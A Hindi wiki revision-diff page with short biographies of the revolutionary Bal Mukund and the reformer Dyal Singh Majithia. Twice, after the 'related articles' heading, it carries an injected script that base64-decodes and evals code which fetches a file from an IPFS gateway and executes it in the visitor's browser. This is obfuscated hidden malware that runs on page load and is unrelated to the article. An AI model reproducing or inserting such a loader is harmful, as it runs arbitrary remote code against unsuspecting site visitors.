"प्रयोग:माधवी 1" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 1: पंक्ति 1:
'''बाल मुकुन्द''' ([[अंग्रेज़ी]]: ''Bal Mukund'', जन्म- [[1891]], [[पश्चिमी पंजाब]], [[पश्चिम बंगाल]]; मृत्यु- [[1917]]) पश्चिमी पंजाब के क्रांतिकारी थे। जिन्होंने सन [[1912]] में [[चांदनी चौक]] से लार्ड हाडिंग पर बम फेंका था।<ref>{{cite web |url=http://www.kranti1857.org/panjab%20krantikari.php#Bal%20Mukund|title=भाई बाल मुकुन्द|accessmonthday=30 मार्च|accessyear=2017 |last= |first= |authorlink= |format= |publisher=क्रांति 1857|language= हिंदी}}</ref>
+
'''बाल मुकुन्द''' ([[अंग्रेज़ी]]: ''Bal Mukund'', जन्म- [[1891]], [[पश्चिमी पंजाब]],; मृत्यु- [[1917]]) पश्चिमी पंजाब के क्रांतिकारी थे। जिन्होंने सन [[1912]] में [[चांदनी चौक]] से लार्ड हाडिंग पर बम फेंका था।<ref>{{cite web |url=http://www.kranti1857.org/panjab%20krantikari.php#Bal%20Mukund|title=भाई बाल मुकुन्द|accessmonthday=30 मार्च|accessyear=2017 |last= |first= |authorlink= |format= |publisher=क्रांति 1857|language= हिंदी}}</ref>
  
 
*बाल मुकुन्द का जन्म पश्चिमी पंजाब के एक [[गांव]] में 1891 में हुआ।  
 
*बाल मुकुन्द का जन्म पश्चिमी पंजाब के एक [[गांव]] में 1891 में हुआ।  
पंक्ति 15: पंक्ति 15:
 
__NOTOC__
 
__NOTOC__
  
'''दयाल सिंह मैजीथिया''' ([[अंग्रेज़ी]]: ''Dyal Singh Majithia'', जन्म- 1848, [[वाराणसी]]; मृत्यु- [[1898]], [[लाहौर]], [[पाकिस्तान]]) [[पंजाब]] के क्रांतिकारी थे।<ref>{{cite web |url=http://www.kranti1857.org/panjab%20krantikari.php#Majithia|title=दयाल सिंह मैजीथिया|accessmonthday=30 मार्च|accessyear=2017 |last= |first= |authorlink= |format= |publisher=क्रांति 1857|language= हिंदी}}</ref>
+
'''दयाल सिंह मजीठिया''' ([[अंग्रेज़ी]]: ''Dyal Singh Majithia'', जन्म- 1848, [[वाराणसी]]; मृत्यु- [[1898]], [[लाहौर]], [[पाकिस्तान]]) [[पंजाब]] के क्रांतिकारी थे।<ref>{{cite web |url=http://www.kranti1857.org/panjab%20krantikari.php#Majithia|title=दयाल सिंह मजीठिया|accessmonthday=30 मार्च|accessyear=2017 |last= |first= |authorlink= |format= |publisher=क्रांति 1857|language= हिंदी}}</ref>
  
*दयाल सिंह मैजीथिया पंजाब में [[अमृतसर]] शहर के निकट मैजीथिया नामक [[गांव]] में एक ऐतिहासिक [[परिवार]] से थे।  
+
*दयाल सिंह मजीठिया पंजाब में [[अमृतसर]] शहर के निकट मजीठिया नामक [[गांव]] में एक ऐतिहासिक [[परिवार]] से थे।  
 
*उनके पूर्वजों ने [[महाराजा रणजीत सिंह]] के यहाँ नौकरी की थी।
 
*उनके पूर्वजों ने [[महाराजा रणजीत सिंह]] के यहाँ नौकरी की थी।
*दयाल सिंह ने अपना प्रारंभिक जीवन मैजीथिया, अमृतसर और बतला में व्यतीत किया।  
+
*दयाल सिंह ने अपना प्रारंभिक जीवन मजीठिया, अमृतसर और बतला में व्यतीत किया।  
 
*वे [[1874]] में [[इंग्लैण्ड]] गये और वहाँ पर दो [[वर्ष]] तक रहे। दयाल सिंह पश्चिमी शिक्षा तथा उदारवाद से अत्यन्त प्रभावित हुए।  
 
*वे [[1874]] में [[इंग्लैण्ड]] गये और वहाँ पर दो [[वर्ष]] तक रहे। दयाल सिंह पश्चिमी शिक्षा तथा उदारवाद से अत्यन्त प्रभावित हुए।  
 
*वे समाज सुधारक बन गये तथा विधवा पुनर्विवाह की वकालत की।  
 
*वे समाज सुधारक बन गये तथा विधवा पुनर्विवाह की वकालत की।  

10:31, 1 अप्रैल 2017 का अवतरण

बाल मुकुन्द (अंग्रेज़ी: Bal Mukund, जन्म- 1891, पश्चिमी पंजाब,; मृत्यु- 1917) पश्चिमी पंजाब के क्रांतिकारी थे। जिन्होंने सन 1912 में चांदनी चौक से लार्ड हाडिंग पर बम फेंका था।[1]

  • बाल मुकुन्द का जन्म पश्चिमी पंजाब के एक गांव में 1891 में हुआ।
  • वे क्रांतिकारी नेता भाई परमान के चचरे भाई थे।
  • बाल मुकुंद दिल्ली के क्रांतिकारियों के दल से जुड़ गए जिन्होंने सन 1912 में चांदनी चौक से लार्ड हाडिंग पर बम फेंका था।
  • उन्हें 26 वर्ष की अल्पायु में मृत्यु दंड की सजा दी गई उसी दिन उनकी पत्नी राखी का भी देहांत हो गया। दोनों का एक साथ दाह संस्कार किया गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भाई बाल मुकुन्द (हिंदी) क्रांति 1857। अभिगमन तिथि: 30 मार्च, 2017।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>



दयाल सिंह मजीठिया (अंग्रेज़ी: Dyal Singh Majithia, जन्म- 1848, वाराणसी; मृत्यु- 1898, लाहौर, पाकिस्तान) पंजाब के क्रांतिकारी थे।[1]

  • दयाल सिंह मजीठिया पंजाब में अमृतसर शहर के निकट मजीठिया नामक गांव में एक ऐतिहासिक परिवार से थे।
  • उनके पूर्वजों ने महाराजा रणजीत सिंह के यहाँ नौकरी की थी।
  • दयाल सिंह ने अपना प्रारंभिक जीवन मजीठिया, अमृतसर और बतला में व्यतीत किया।
  • वे 1874 में इंग्लैण्ड गये और वहाँ पर दो वर्ष तक रहे। दयाल सिंह पश्चिमी शिक्षा तथा उदारवाद से अत्यन्त प्रभावित हुए।
  • वे समाज सुधारक बन गये तथा विधवा पुनर्विवाह की वकालत की।
  • अपने राजनैतिक दृष्टिकोण में दयाल सिंह नरमपंथी थे।
  • उन्होंने अनेक शैक्षणिक संस्थानों की नींव रखी इसमें कॉलिज और पुस्तकालय भी शामिल थे।
  • 'द ट्रिब्युन' जिसने पंजाब में राष्ट्रवादी आन्दोलनों की वृद्धि की।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. दयाल सिंह मजीठिया (हिंदी) क्रांति 1857। अभिगमन तिथि: 30 मार्च, 2017।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>